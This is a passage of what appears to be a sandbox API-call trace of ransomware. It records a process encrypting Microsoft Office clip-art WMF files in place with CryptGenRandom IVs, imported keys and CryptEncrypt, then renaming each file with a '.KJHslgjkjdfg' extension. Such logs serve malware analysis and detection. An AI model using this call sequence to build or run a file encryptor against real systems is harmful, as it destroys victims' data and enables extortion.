[0207.256] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.256] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x75e2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x75e2, lpOverlapped=0x0) returned 1 [0207.257] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x75f0, dwBufLen=0x75f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x75f0) returned 1 [0207.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.258] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x75f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x75f0, lpOverlapped=0x0) returned 1 [0207.258] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x76c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.258] SetEndOfFile (hFile=0x130) returned 1 [0207.261] GetProcessHeap () returned 0x990000 [0207.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.261] GetProcessHeap () returned 0x990000 [0207.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.261] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.kjhslgjkjdfg")) returned 1 [0207.263] CloseHandle (hObject=0x130) returned 1 [0207.263] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1 [0207.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.264] GetProcessHeap () returned 0x990000 [0207.264] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.264] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.264] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0207.267] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.267] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.267] GetProcessHeap () returned 0x990000 [0207.267] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.267] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.267] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.267] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.267] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.268] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.268] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.268] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.268] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.268] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.268] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x824e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x824e, lpOverlapped=0x0) returned 1 [0207.270] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8250, dwBufLen=0x8250 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8250) returned 1 [0207.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.270] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8250, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8250, lpOverlapped=0x0) returned 1 [0207.271] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.271] SetEndOfFile (hFile=0x130) returned 1 [0207.274] GetProcessHeap () returned 0x990000 [0207.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.274] GetProcessHeap () returned 0x990000 [0207.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.kjhslgjkjdfg")) returned 1 [0207.276] CloseHandle (hObject=0x130) returned 1 [0207.276] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1 [0207.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.277] GetProcessHeap () returned 0x990000 [0207.277] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.277] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.277] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0207.279] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.279] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.279] GetProcessHeap () returned 0x990000 [0207.279] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.279] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.280] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.280] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.280] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.280] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.280] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.281] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.281] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x62b2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x62b2, lpOverlapped=0x0) returned 1 [0207.282] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x62c0) returned 1 [0207.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.282] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x62c0, lpOverlapped=0x0) returned 1 [0207.282] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.283] SetEndOfFile (hFile=0x130) returned 1 [0207.285] GetProcessHeap () returned 0x990000 [0207.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.286] GetProcessHeap () returned 0x990000 [0207.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.kjhslgjkjdfg")) returned 1 [0207.287] CloseHandle (hObject=0x130) returned 1 [0207.287] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1 [0207.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.289] GetProcessHeap () returned 0x990000 [0207.289] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.289] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.290] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.290] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.290] GetProcessHeap () returned 0x990000 [0207.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.290] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.290] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.290] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.292] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.292] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.292] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.293] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.293] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.293] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.293] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x78e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x78e0, lpOverlapped=0x0) returned 1 [0207.294] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x78e0, dwBufLen=0x78e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x78e0) returned 1 [0207.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.295] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x78e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x78e0, lpOverlapped=0x0) returned 1 [0207.295] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x79b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.295] SetEndOfFile (hFile=0x130) returned 1 [0207.298] GetProcessHeap () returned 0x990000 [0207.298] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.298] GetProcessHeap () returned 0x990000 [0207.298] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.kjhslgjkjdfg")) returned 1 [0207.300] CloseHandle (hObject=0x130) returned 1 [0207.300] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1 [0207.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.301] GetProcessHeap () returned 0x990000 [0207.302] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.302] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.302] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0207.304] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.304] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.304] GetProcessHeap () returned 0x990000 [0207.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.304] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.304] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.304] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.305] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.305] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.305] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.305] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.305] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6f26, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6f26, lpOverlapped=0x0) returned 1 [0207.307] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f30, dwBufLen=0x6f30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f30) returned 1 [0207.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.307] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6f30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6f30, lpOverlapped=0x0) returned 1 [0207.308] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.308] SetEndOfFile (hFile=0x130) returned 1 [0207.311] GetProcessHeap () returned 0x990000 [0207.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.311] GetProcessHeap () returned 0x990000 [0207.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 